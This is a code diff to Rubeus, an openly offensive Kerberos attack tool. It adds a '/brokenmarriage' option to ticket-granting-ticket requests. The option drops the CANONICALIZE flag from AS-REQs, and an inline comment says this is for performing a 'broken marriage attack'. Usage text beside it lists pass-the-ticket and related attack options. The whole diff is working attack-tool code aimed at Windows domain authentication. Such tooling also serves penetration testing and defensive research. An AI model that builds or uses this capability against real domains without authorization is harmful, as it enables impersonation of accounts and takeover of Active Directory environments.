diff --git a/Rubeus/Commands/Asktgt.cs b/Rubeus/Commands/Asktgt.cs index f2b27bd7..7c152db7 100644 --- a/Rubeus/Commands/Asktgt.cs +++ b/Rubeus/Commands/Asktgt.cs @@ -27,6 +27,7 @@ public void Execute(Dictionary arguments) bool ptt = false; bool opsec = false; + bool brokenMarriage = false; bool force = false; bool verifyCerts = false; bool getCredentials = false; @@ -169,6 +170,11 @@ public void Execute(Dictionary arguments) } } + if (arguments.ContainsKey("/brokenmarriage")) + { + brokenMarriage = true; + } + if (arguments.ContainsKey("/nopac")) { pac = false; @@ -290,7 +296,7 @@ public void Execute(Dictionary arguments) } } else if (String.IsNullOrEmpty(certificate)) - Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType); + Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac, proxyUrl, service, suppEncType, principalType, brokenMarriage); else Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials, proxyUrl, service, changepw, principalType); diff --git a/Rubeus/Domain/Info.cs b/Rubeus/Domain/Info.cs index 01185bf4..0af21773 100755 --- a/Rubeus/Domain/Info.cs +++ b/Rubeus/Domain/Info.cs @@ -21,7 +21,7 @@ public static void ShowUsage() Ticket requests and renewals: Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID: - Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] + Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] [/brokenmarriage] Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256] [/principaltype:principal|enterprise|x500|srv_xhost|srv_host|srv_inst] diff --git a/Rubeus/lib/Ask.cs b/Rubeus/lib/Ask.cs index c85a9d57..2d9f344b 100644 --- a/Rubeus/lib/Ask.cs +++ b/Rubeus/lib/Ask.cs @@ -32,7 +32,7 @@ public KerberosErrorException(string message, KRB_ERROR krbError) public class Ask { - public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType="principal") + public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", LUID luid = new LUID(), bool describe = false, bool opsec = false, string servicekey = "", bool changepw = false, bool pac = true, string proxyUrl = null, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType="principal", bool brokenMarriage = false) { // send request without Pre-Auth to emulate genuine traffic bool preauth = false; @@ -40,7 +40,7 @@ public class Ask { try { - preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true, proxyUrl, service, suppEtype, opsec, principalType); + preauth = NoPreAuthTGT(userName, domain, keyString, etype, domainController, outfile, ptt, luid, describe, true, proxyUrl, service, suppEtype, opsec, principalType, brokenMarriage); } catch (KerberosErrorException) { } } @@ -52,7 +52,7 @@ public class Ask { Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString); Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName); - AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac, service, suppEtype, principalType); + AS_REQ userHashASREQ = AS_REQ.NewASReq(userName, domain, keyString, etype, opsec, changepw, pac, service, suppEtype, principalType, brokenMarriage); return InnerTGT(userHashASREQ, etype, outfile, ptt, domainController, luid, describe, true, opsec, servicekey, false, proxyUrl); } } @@ -76,10 +76,10 @@ public class Ask return null; } - public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, string proxyUrl = null, string service = "", Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, bool opsec = true, string principalType="principal") + public static bool NoPreAuthTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string domainController, string outfile, bool ptt, LUID luid = new LUID(), bool describe = false, bool verbose = false, string proxyUrl = null, string service = "", Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, bool opsec = true, string principalType="principal", bool brokenMarriage = false) { byte[] response = null; - AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, suppEtype, opsec, service, principalType); + AS_REQ NoPreAuthASREQ = AS_REQ.NewASReq(userName, domain, suppEtype, opsec, service, principalType, brokenMarriage); byte[] reqBytes = NoPreAuthASREQ.Encode().Encode(); diff --git a/Rubeus/lib/krb_structures/AS_REQ.cs b/Rubeus/lib/krb_structures/AS_REQ.cs index ccda7442..10e08877 100755 --- a/Rubeus/lib/krb_structures/AS_REQ.cs +++ b/Rubeus/lib/krb_structures/AS_REQ.cs @@ -20,7 +20,7 @@ namespace Rubeus public class AS_REQ { - public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false, string service = null, string principalType = "principal") + public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE etype, bool opsec = false, string service = null, string principalType = "principal", bool brokenMarriage = false) { // build a new AS-REQ for the given userName, domain, and etype, but no PA-ENC-TIMESTAMP // used for AS-REP-roasting @@ -70,7 +70,10 @@ public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE List addresses = new List(); addresses.Add(new HostAddress(hostName)); req.req_body.addresses = addresses; - req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + if (!brokenMarriage) + { + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + } req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac); @@ -88,7 +91,7 @@ public static AS_REQ NewASReq(string userName, string domain, Interop.KERB_ETYPE return req; } - public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType = "principal") + public static AS_REQ NewASReq(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool opsec = false, bool changepw = false, bool pac = true, string service = null, Interop.KERB_ETYPE suppEtype = Interop.KERB_ETYPE.rc4_hmac, string principalType = "principal", bool brokenMarriage = false) { // build a new AS-REQ for the given userName, domain, and etype, w/ PA-ENC-TIMESTAMP // used for "legit" AS-REQs w/ pre-auth @@ -143,7 +146,11 @@ public static AS_REQ NewASReq(string userName, string domain, string keyString, List addresses = new List(); addresses.Add(new HostAddress(hostName)); req.req_body.addresses = addresses; - req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + if (!brokenMarriage) + { + // When performing a broken marriage attack we don't want to canonicalize the ticket + req.req_body.kdcOptions = req.req_body.kdcOptions | Interop.KdcOptions.CANONICALIZE; + } req.req_body.etypes.Add(Interop.KERB_ETYPE.aes256_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1); req.req_body.etypes.Add(Interop.KERB_ETYPE.rc4_hmac);